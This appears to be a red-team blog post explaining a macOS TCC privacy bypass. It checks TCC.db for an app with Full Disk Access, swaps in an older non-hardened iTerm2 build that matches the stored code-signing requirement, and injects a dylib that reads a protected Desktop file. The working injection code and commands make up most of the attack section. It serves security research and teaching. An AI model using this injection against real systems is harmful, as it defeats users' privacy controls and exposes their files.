macOS Red Teaming Tricks series

The idea of #macOSRedTeamingTricks series is to share simple & ready-to-use tricks that may help you during macOS red teaming engagements.

The trick

This post shows how to bypass the macOS privacy framework (TCC) using old app versions. During red teaming engagements sometimes you need access to the Camera/Microphone or files stored on the user’s Desktop. It turns out that on macOS you cannot do this without special permissions that are handled by the TCC framework. If you are interested more in TCC you should take a look at my and my friend Csaba’s Black Hat talk.

To use this trick we have to determine if any user-installed applications, currently installed on the device, have TCC permissions already granted. From my experience, developers usually have iTerm2 installed with Full Disk Access TCC permission. Let’s focus on iTerm2 then, but keep in mind that you may target any other application.

Full Disk Access TCC permission is stored in /Library/Application Support/com.apple.TCC/TCC.db. We can see that with the following command:

$ sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db
SQLite version 3.36.0 2021-06-18 18:58:49
Enter ".help" for usage hints.
sqlite> SELECT service, client, hex(csreq), auth_value FROM access WHERE client="com.googlecode.iterm2";
kTCCServiceSystemPolicyAllFiles|com.googlecode.iterm2|FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000|2

Using the following code it is possible to get a readable version of the above-shown hex-encoded csreq:

img

OK, so the TCC stores the following codesigning requirement string for iTerm2:

anchor apple generic and identifier "com.googlecode.iterm2" and (certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = H7V7XYVQ7D)

So, the csreq contains:

Summing it up - there is no version information. It is exactly the same architectonical problem as the macOS Keychain has. In most cases it is possible to get an older version of the “donor” application (without the hardened runtime flag), inject to it, and thus abuse its TCC permissions.

Exploitation example

I downloaded an older version of iTerm2 from the Internet. Let’s verify if the codesign requirement is the same:

$ codesign -d -v -r- /tmp/iTerm2-2_1_4.app
Executable=/tmp/iTerm2-2_1_4.app/Contents/MacOS/iTerm
Identifier=com.googlecode.iterm2
Format=app bundle with Mach-O universal (i386 x86_64)
CodeDirectory v=20200 size=15145 flags=0x0(none) hashes=750+3 location=embedded
Signature size=8549
Timestamp=5 Oct 2015 at 06:18:53
Info.plist entries=33
TeamIdentifier=H7V7XYVQ7D
Sealed Resources version=2 rules=12 files=82
designated => identifier "com.googlecode.iterm2" and anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = H7V7XYVQ7D

Great, no hardened runtime, the same csreq. Let’s compile a malicious dylib:

#import <Foundation/Foundation.h>

__attribute__((constructor)) static void pwn(int argc, const char **argv) {
    NSLog(@"[+] injected to %@", [[NSBundle mainBundle] bundleIdentifier]);
    
    NSString *path = [@"~/Desktop/secret_data.txt" stringByExpandingTildeInPath];
    NSString *contents = [NSString stringWithContentsOfFile:path encoding:NSUTF8StringEncoding error:nil];
    NSLog(@"[+] Contents of TCC-protected file: %@", contents);
}

And now let’s use an open command to inject the dylib:

$ open /tmp/iTerm2-2_1_4.app --env DYLD_INSERT_LIBRARIES=/tmp/libtccChecker.dylib

And the console logs prove the trick worked!

img